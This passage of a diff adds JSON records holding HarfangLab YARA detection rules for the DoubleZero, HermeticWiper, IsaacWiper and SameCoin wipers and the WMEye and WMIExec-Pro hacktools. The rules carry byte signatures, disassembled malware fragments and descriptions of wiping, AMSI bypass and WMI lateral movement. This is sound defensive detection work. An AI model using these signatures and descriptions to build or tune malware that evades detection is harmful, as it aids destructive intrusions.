\"\\\\Users\\\\\\\\.*?\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Microsoft.*\" wide\n        $s11 = \"\\\\Users\\\\\\\\.*?\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft.*\" wide\n\n        // Call to NtFsControlFile with parameter FSCTL_SET_ZERO_DATA\n        $fsctlsetzero = {\n            20 C8800900   // IL_07CE: ldc.i4    622792 --> FSCTL_SET_ZERO_DATA\n            6A            // IL_07D3: conv.i8\n            11 ??         // IL_07D4: ldloc.s   V_16\n            11 ??         // IL_07D6: ldloc.s   V_13\n            8C [4]        // IL_07D8: box       NtDllClass/\n            28 [4]        // IL_07DD: call      int32 [mscorlib]System.Runtime.InteropServices.Marshal::SizeOf(object)\n            6A            // IL_07E2: conv.i8\n            7E [4]        // IL_07E3: ldsfld    native int [mscorlib]System.IntPtr::Zero\n            1F 0D         // IL_07E8: ldc.i4.s  13\n            8D [4]        // IL_07EA: newarr    [mscorlib]System.Int32\n            25            // IL_07EF: dup\n            D0 [4]        // IL_07F0: ldtoken   field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=52' '<PrivateImplementationDetails>'::CCA3D9F1787DF013972C4E7ED1C166D84D31B5CA\n            28 [4]        // IL_07F5: call      void [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)\n            16            // IL_07FA: ldc.i4.0\n            16            // IL_07FB: ldc.i4.0\n            28 [4]        // IL_07FC: call      int32 CryptoClass::GetBuffer(int32[], int32, int32)\n            6A            // IL_0801: conv.i8\n            28            // IL_0802: call      uint32 NtDllClass::NtFsControlFile(class [mscorlib]\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 800KB and 10 of ($s*) and $fsctlsetzero\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "doublezero_wiper"
+  ],
+  "rule_creation_date": "2022-03-23",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.DoubleZero"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1561.001",
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wiper_hermeticwiper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573187Z",
+  "creation_date": "2026-03-23T11:46:25.573190Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573199Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/\nhttps://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
+  ],
+  "name": "wiper_hermeticwiper.yar",
+  "content": "rule hermetic_wiper {\n    meta:\n        title = \"HermeticWiper\"\n        id = \"38ac4ed6-de36-4387-8b16-f8a6a1dae3f4\"\n        description = \"Detects the HermeticWiper malware involved in Ukraine cyberattacks.\\nHermeticWiper is a destructive malware known for targeting the Master Boot Record (MBR) and system files. It was used in cyberattacks against Ukrainian infrastructure in February 2022. The malware modifies the MBR to prevent the operating system from booting successfully and is designed to erase critical system partitions and files, rendering the system inoperable.\\nIt is recommended to isolate the affected systems and to conduct a thorough investigation to determine the origin of the execution of the malware.\"\n        references = \"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/\\nhttps://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia\"\n        date = \"2022-02-24\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.002\"\n        classification = \"Windows.Wiper.HermeticWiper\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Strings for all samples\n\n        $s1 = \"\\\\\\\\.\\\\EPMNTDRV\\\\\" wide\n        $s2 = \"\\\\\\\\?\\\\C:\\\\Windows\\\\System32\\\\winevt\\\\Logs\" fullword wide\n        $s3 = \"$INDEX_ALLOCATION\" fullword wide\n\n        $s4 = \"ENIGMA\" fullword ascii\n        $s5 = \"Hermetica Digital Ltd\" ascii\n\n        $s6 = \"DRV_X64\" fullword wide\n        $s7 = \"DRV_X86\" fullword wide\n        $s8 = \"DRV_XP_X64\" fullword wide\n        $s9 = \"DRV_XP_X86\" fullword wide\n\n        // Detection for these samples :\n        // c0e0583350f86705a51ca2db9b2d6f77de9129411429eee2bdcfc8aab7f21571\n        // 4aa186b5fdcc8248a9672bf21241f77dd395872ec4876c90af5d27ae565e4cb7\n        // 0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da\n        // 1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591\n        // 2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf\n        // 3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767\n        // 06086c1da4590dcc7f1e10a6be3431e1166286a9e7761f2de9de79d7fda9c397\n        // 291ae59b6edfea6b8555d25714383d1aa343ee23095ba041f197c5bd0cbc0e67\n        // ba2888c4eb49268c9594d9837c08affc884172f0e6fc9f988b54a73844bf9152\n        // d52113cf2b938447293b195ecfc2b3c9fa61bfab787b6723fc13972b72f90bd5\n        // 0d53608c4f7d408e454eafa52b764d8d2bc154d704953c550a29011f759cda2f\n        // e259bfd145e3b290f0e205b7177bb6e659e3af236f2aaad8ba57c2d927776018\n\n        // bit of code for the random filename generation\n        // based on the current process id.\n        $o1 = {\n            FF ?? ?? ?? ?? ??  // call    ds:GetCurrentProcessId\n            8B F8              // mov     edi, eax\n            33 D2              // xor     edx, edx\n            6A 04              // push    4               ; cchDestBuffSize\n            68 ?? ?? ?? ??     // push    offset pszSrc   ; \"drv\"\n            8D 47 01           // lea     eax, [edi+1]\n            F7 F6              // div     esi\n            8B CA              // mov     ecx, edx\n            33 D2              // xor     edx, edx\n            8B C1              // mov     eax, ecx\n            F7 F6              // div     esi\n            8B F2              // mov     esi, edx\n            33 D2              // xor     edx, edx\n            8B C6              // mov     eax, esi\n            C1 E0 10           // shl     eax, 10h\n            03 C1              // add     eax, ecx\n            F7 ?? ??           // div     [ebp+var_10]\n            0F B7 ?? ?? ??     // movzx   eax, word ptr [ebp+edx*2+alphabet]\n            33 D2              // xor     edx, edx\n            66 89 03           // mov     [ebx], ax\n            8D 04 39           // lea     eax, [ecx+edi]\n            B9 F1 FF 00 00     // mov     ecx, 0FFF1h\n            F7 F1              // div     ecx\n            8B CA              // mov     ecx, edx\n            33 D2              // xor     edx, edx\n            8D 04 0E           // lea     eax, [esi+ecx]\n            BE F1 FF 00 00     // mov     esi, 0FFF1h\n            F7 F6              // div     esi\n            C1 E2 10           // shl     edx, 10h\n            8D 04 11           // lea     eax, [ecx+edx]\n            33 D2              // xor     edx, edx\n            B9 1A 00 00 00     // mov     ecx, 1Ah\n            F7 F1              // div     ecx\n            8D 4B 02           // lea     ecx, [ebx+2]\n            51                 // push    ecx             ; pszDest\n            0F B7 ?? ?? ??     // movzx   eax, word ptr [ebp+edx*2+alphabet]\n            66 89 01           // mov     [ecx], ax\n            FF ?? ?? ?? ?? ??  // call    ds:StrCatBuffW\n            33 C0              // xor     eax, eax\n            66 89 43 0C        // mov     [ebx+0Ch], ax\n        }\n\n        // Detection for these samples :\n        // e7d77ec65309dbff48fe5792defe2e6fafb50f5e5dd95ab03528e6f12c893e3d\n        // 1df677af28eb2e393169cf37e3a55a3ab1ef7afdce724d65b8872a7ab87b2640\n        // 4351c16a3756328d9ce2ef588e77084b134f6659bf84f4efb5eac80924d636d4\n        // c0e0583350f86705a51ca2db9b2d6f77de9129411429eee2bdcfc8aab7f21571\n\n        // Enigma Protector decrypt code\n        $o2 = {\n            B8 ?? ?? ?? 00                                // mov     eax, 37E0D0h\n            03 C5                                         // add     eax, ebp\n            81 C0 ?? 00 00 00                             // add     eax, 93h ; '“'\n            B9 ?? ?? 00 00                                // mov     ecx, 5B6h\n            BA ?? ?? ?? ??                                // mov     edx, 0CBABD56h\n                                            // loc_77E154:                             ; CODE XREF: .data:0077E158↓j\n            30 10                                         // xor     [eax], dl\n            40                                            // inc     eax\n            49                                            // dec     ecx\n            0F 85 F6 FF FF FF                             // jnz     loc_77E154\n            E9 04 00 00 00                                // jmp     loc_77E167\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 2MB and 6 of ($s*) and 1 of ($o*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "hermetic_wiper"
+  ],
+  "rule_creation_date": "2022-02-24",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.HermeticWiper"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wiper_isaacwiper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583516Z",
+  "creation_date": "2026-03-23T11:46:25.583518Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583523Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/"
+  ],
+  "name": "wiper_isaacwiper.yar",
+  "content": "rule isaac_wiper {\n    meta:\n        title = \"IsaacWiper\"\n        id = \"be96c5da-a49a-42fb-ba9a-75b72ef22be7\"\n        description = \"Detects the destructive IsaacWiper malware involved in Ukraine cyberattacks in February 2022.\\nIsaacWiper is a wiper malware that specifically targets physical and logical drives on affected systems. The malware writes 64kB of random data at offset 0, rendering the drives unreadable and causing significant data corruption.\\nIt is recommended to isolate the affected system and to conduct a thorough investigation to determine the origin of the execution of the malware.\"\n        references = \"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/\"\n        date = \"2022-03-15\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.impact;attack.t1485;attack.t1561.001;attack.t1561.002\"\n        classification = \"Windows.Wiper.IsaacWiper\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033\n        // 7bcd4ec18fc4a56db30e0aaebd44e2988f98f7b5d8c14f6689f650b4f11e16c0\n\n        $s1 = \"C:\\\\ProgramData\\\\log.txt\" fullword wide\n        $s2 = \"getting drives...\" fullword wide\n        $s3 = \"physical drives:\" fullword wide\n        $s4 = \"-- system physical drive\" fullword wide\n        $s5 = \"-- physical drive\" fullword wide\n        $s6 = \"logical drives:\" fullword wide\n        $s7 = \"-- system logical drive:\" fullword wide\n        $s8 = \"-- logical drive:\" fullword wide\n        $s9 = \"start erasing physical drives...\" fullword wide\n        $s10 = \"-- FAILED\" fullword wide\n        $s11 = \"physical drive\" fullword wide\n        $s12 = \"-- start erasing logical drive\" fullword wide\n        $s13 = \"start erasing system physical drive...\" fullword wide\n        $s14 = \"system physical drive -- FAILED\" fullword wide\n        $s15 = \"start erasing system logical drive\" fullword wide\n\n        // Mersenne twister initialisation\n        $o1 = {\n            FF ?? ?? ?? ?? ??        // call    ds:GetTickCount\n            89 ?? ?? ?? FF FF        // mov     [ebp+var_9F0], eax\n            B8 01 00 00 00           // mov     eax, 1\n            0F ?? ?? ?? 00 00 00 00  // nop     dword ptr [eax+eax+00000000h]\n            8B ?? ?? ?? ?? FF FF     // mov     ecx, [ebp+eax*4+var_9F4]\n            8B D1                    // mov     edx, ecx\n            C1 EA 1E                 // shr     edx, 1Eh\n            33 D1                    // xor     edx, ecx\n            69 CA 65 89 07 6C        // imul    ecx, edx, 6C078965h\n            03 C8                    // add     ecx, eax\n            89 ?? ?? ?? ?? FF FF     // mov     [ebp+eax*4+var_9F0], ecx\n            40                       // inc     eax\n            3D 70 02 00 00           // cmp     eax, 270h\n        }\n\n        // Mersenne twister generation\n        $o2 = {\n            C1 E8 0B        // shr     eax, 0Bh\n            42              // inc     edx\n            33 C8           // xor     ecx, eax\n            89 ?? ??        // mov     [ebp+var_30], edx\n            8B C1           // mov     eax, ecx\n            25 AD 58 3A FF  // and     eax, 0FF3A58ADh\n            C1 E0 07        // shl     eax, 7\n            33 C8           // xor     ecx, eax\n            8B C1           // mov     eax, ecx\n            25 8C DF FF FF  // and     eax, 0FFFFDF8Ch\n            C1 E0 0F        // shl     eax, 0Fh\n            33 C8           // xor     ecx, eax\n            8B C1           // mov     eax, ecx\n            C1 E8 12        // shr     eax, 12h\n            33 C1           // xor     eax, ecx\n        }\n\n        // Check for specific file attribute\n        $o3 = {\n            8B ?? ?? ?? FF FF        // mov     eax, [ebp+FindFileData.dwFileAttributes]\n            C1 E8 04                 // shr     eax, 4\n            F6 D0                    // not     al\n            A8 01                    // test    al, 1\n            8D ?? ?? ?? FF FF        // lea     eax, [ebp+FindFileData.cFileName]\n            0F ?? ?? ?? 00 00        // jz      loc_100038DD\n            66 ?? ?? ?? ?? FF FF 00  // cmp     [ebp+FindFileData.cFileName], 0\n            74 ??                    // jz      short loc_1000383C\n        }\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 400KB and 10 of ($s*) and 2 of ($o*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "isaac_wiper"
+  ],
+  "rule_creation_date": "2022-03-15",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.IsaacWiper"
+  ],
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1561.001",
+    "attack.t1485",
+    "attack.t1561.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wiper_samecoin_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.583574Z",
+  "creation_date": "2026-03-23T11:46:25.583575Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.583581Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/NicoleFishi19/status/1756936882095534532"
+  ],
+  "name": "wiper_samecoin.yar",
+  "content": "rule samecoin_campaign_wiper {\n    meta:\n        title = \"SameCoin Wiper\"\n        id = \"fbd7e36e-3068-4223-8fec-b006a0e62524\"\n        description = \"Detects the SameCoin wiper, a file-wiping malware associated with the TA3700 threat group.\\nSameCoin is known to overwrite specific files located in the Windows directory, potentially causing system instability.\\nIt is recommended to isolate the affected system and to start forensics to determine the origin of the execution of the malware.\"\n        references = \"https://twitter.com/NicoleFishi19/status/1756936882095534532\"\n        date = \"2024-02-14\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1083;attack.impact;attack.t1485\"\n        classification = \"Windows.Wiper.SameCoin\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // e6d2f43622e3ecdce80939eec9fffb47e6eb7fc0b9aa036e9e4e07d7360f2b89\n\n        $code = { 68 57 04 00 00 50 E8 } // push 1111; push eax; call\n        $wl_1 = \"C:\\\\Users\\\\Public\\\\Microsoft Connection Agent.jpg\" ascii\n        $wl_2 = \"C:\\\\Users\\\\Public\\\\Video.mp4\" ascii\n        $wl_3 = \"C:\\\\Users\\\\Public\\\\Microsoft System Agent.exe\" ascii\n        $wl_4 = \"C:\\\\Users\\\\Public\\\\Microsoft System Manager.exe\" ascii\n        $wl_5 = \"C:\\\\Users\\\\Public\\\\Windows Defender Agent.exe\" ascii\n\n    condition:\n        uint16(0) == 0x5A4D and filesize < 200KB and\n        $code and 3 of ($wl_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "samecoin_campaign_wiper"
+  ],
+  "rule_creation_date": "2024-02-14",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Wiper.SameCoin"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1083",
+    "attack.t1485"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wmeye_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588378Z",
+  "creation_date": "2026-03-23T11:46:25.588380Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588385Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/pwn1sher/WMEye"
+  ],
+  "name": "wmeye.yar",
+  "content": "rule wmeye {\n    meta:\n        title = \"WMEye HackTool\"\n        id = \"0aa40ad2-a09c-469a-879d-843de43d1b95\"\n        description = \"Detects the WMEye hacktool.\\nWMEye is a tool designed for fileless lateral movement and persistence using WMI and MSBuild. It creates WMI remote classes and filters to trigger payload execution, and uses Win32_Process Create to build payloads on target hosts.\\nIt is recommended to investigate WMI activity for potential lateral movement and to look for further malicious actions on the host.\"\n        references = \"https://github.com/pwn1sher/WMEye\"\n        date = \"2022-10-27\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1047\"\n        classification = \"Windows.HackTool.WMEye\"\n        context = \"process,file.pe\"\n        arch = \"x86,x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 9eba1ff7ed0fe8411c7dc2a5289554a08d795f6ea96d2202dfd3b1fdb47b3075\n\n        $s1 = \"TriggerFileUpload\" fullword ascii\n        $s2 = \"ExecutePayload\" fullword ascii\n        $s3 = \"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA \\\"Win32_Process\\\" AND TargetInstance.Name = \\\"powershell.exe\\\"\" fullword wide\n        $s4 = \"[X] Uploading Shellcode into target\" fullword wide\n        $s5 = \"[*] Event consumer created.\" fullword wide\n        $s6 = \"C:\\\\magic.xml\" fullword wide\n        $s7 = \"[X] ShellCode Property Created\" fullword wide\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 100KB and 4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "wmeye"
+  ],
+  "rule_creation_date": "2022-10-27",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.WMEye"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wmiexec_pro_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582208Z",
+  "creation_date": "2026-03-23T11:46:25.582210Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582215Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/XiaoliChan/wmiexec-Pro/"
+  ],
+  "name": "wmiexec_pro.yar",
+  "content": "rule wmiexec_pro {\n    meta:\n        title = \"WMIExecPro Python HackTool\"\n        id = \"61b5c37f-1ad8-4466-9c67-6b85651673c5\"\n        description = \"Detects WMIExec-pro Python HackTool.\\nWMIExec-pro is a set of Python scripts designed to execute commands via the Windows Management Instrumentation (WMI) protocol. The tool includes various scripts for different purposes such as command execution, process enumeration, AMSI bypass, file transfer, and service manipulation. It allows attackers to perform remote command execution, data exfiltration, and system configuration changes.\\nIt is recommended to dump the affected process and perform a thorough investigation to identify any unauthorized changes or data exfiltration activities.\"\n        references = \"https://github.com/XiaoliChan/wmiexec-Pro/\"\n        date = \"2023-09-01\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1047;attack.t1053.005\"\n        classification = \"Windows.HackTool.WMIExecPro\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 21ff03a4678145ae21e9af3e5392123c9de6d26c6c56cf5c359b63112aa5ef4a\n\n        // enumerate.py\n        $s1 = \"Enumerate system info\" ascii\n        $s2 = \"Doing basic enumeration\" ascii\n\n        // amsi.py\n        $s3 = \"Bypass AMSI with registry key \\\"AmsiEnable\\\".\" ascii\n        $s4 = \"Enable AMSI bypass\" ascii\n        $s5 = \"Disable AMSI bypass\" ascii\n\n        //  exec_command.py\n        $s6 = \"Execute command in with/without output way.\"\n        $s7 = \"Launch a semi-interactive shell\" ascii\n        $s8 = \"fy command to execute\" ascii\n        $s9 = \"Execute command for old system versio nunder NT6.\" ascii\n        $s10 = \"Command execute with output (default is no output)\" ascii\n        $s11 = \"Save command output to file (not support silent mode)\" ascii\n        $s12 = \"Remove temporary class for command result storage\" ascii\n\n        // filetransfer.py\n        $s13 = \"Upload/Download file through wmi class.\" ascii\n        $s14 = \"Upload file.\" ascii\n        $s15 = \"Download file.\" ascii\n        $s16 = \"Source file with fully path (include filename)\" ascii\n        $s17 = \"Dest file with fully path (include filename)\" ascii\n        $s18 = \"Remove temporary class for storage binary data\" ascii\n\n        // rdp.py\n        $s19 = \"Enable/Disable Remote desktop service.\" ascii\n        $s20 = \"Enable RDP service\" ascii\n        $s21 = \"Enable Restricted Admin Mode for PTH\" ascii\n        $s22 = \"Disable RDP service\" ascii\n        $s23 = \"Disable Restricted Admin Mode\" ascii\n        $s24 = \"Enable/Disable RDP for old system versio nunder NT6.\" ascii\n\n        // winrm.py\n        $s25 = \"Enable/Disable WINRM service.\" ascii\n        $s26 = \"Enable WINRM service\" ascii\n        $s27 = \"Disable WINRM service\" ascii\n\n        // firewall.py\n        $s28 = \"Firewall abusing.\" ascii\n        $s29 = \"Search rules associate with the port.\" ascii\n        $s30 = \"Dump all firewall rules to file as json format.\" ascii\n        $s31 = \"Specify firewall rule instance id to do operation in \\\"-rule-op\\\"\" ascii\n        $s32 = \"Action of firewall rule which you specify.\" ascii\n        $s33 = \"Use it on your own risk if you try to do this one.\" ascii\n\n    condition:\n        10 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "wmiexec_pro"
+  ],
+  "rule_creation_date": "2023-09-01",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.WMIExecPro"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1053.005"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-wmiexec_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.581973Z",
+  "creation_date": "2026-03-23T11:46:25.581976Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.581985Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/WKL-Sec/WMIExec/tree/main"
+  ],
+  "name": "wmiexec.yar",
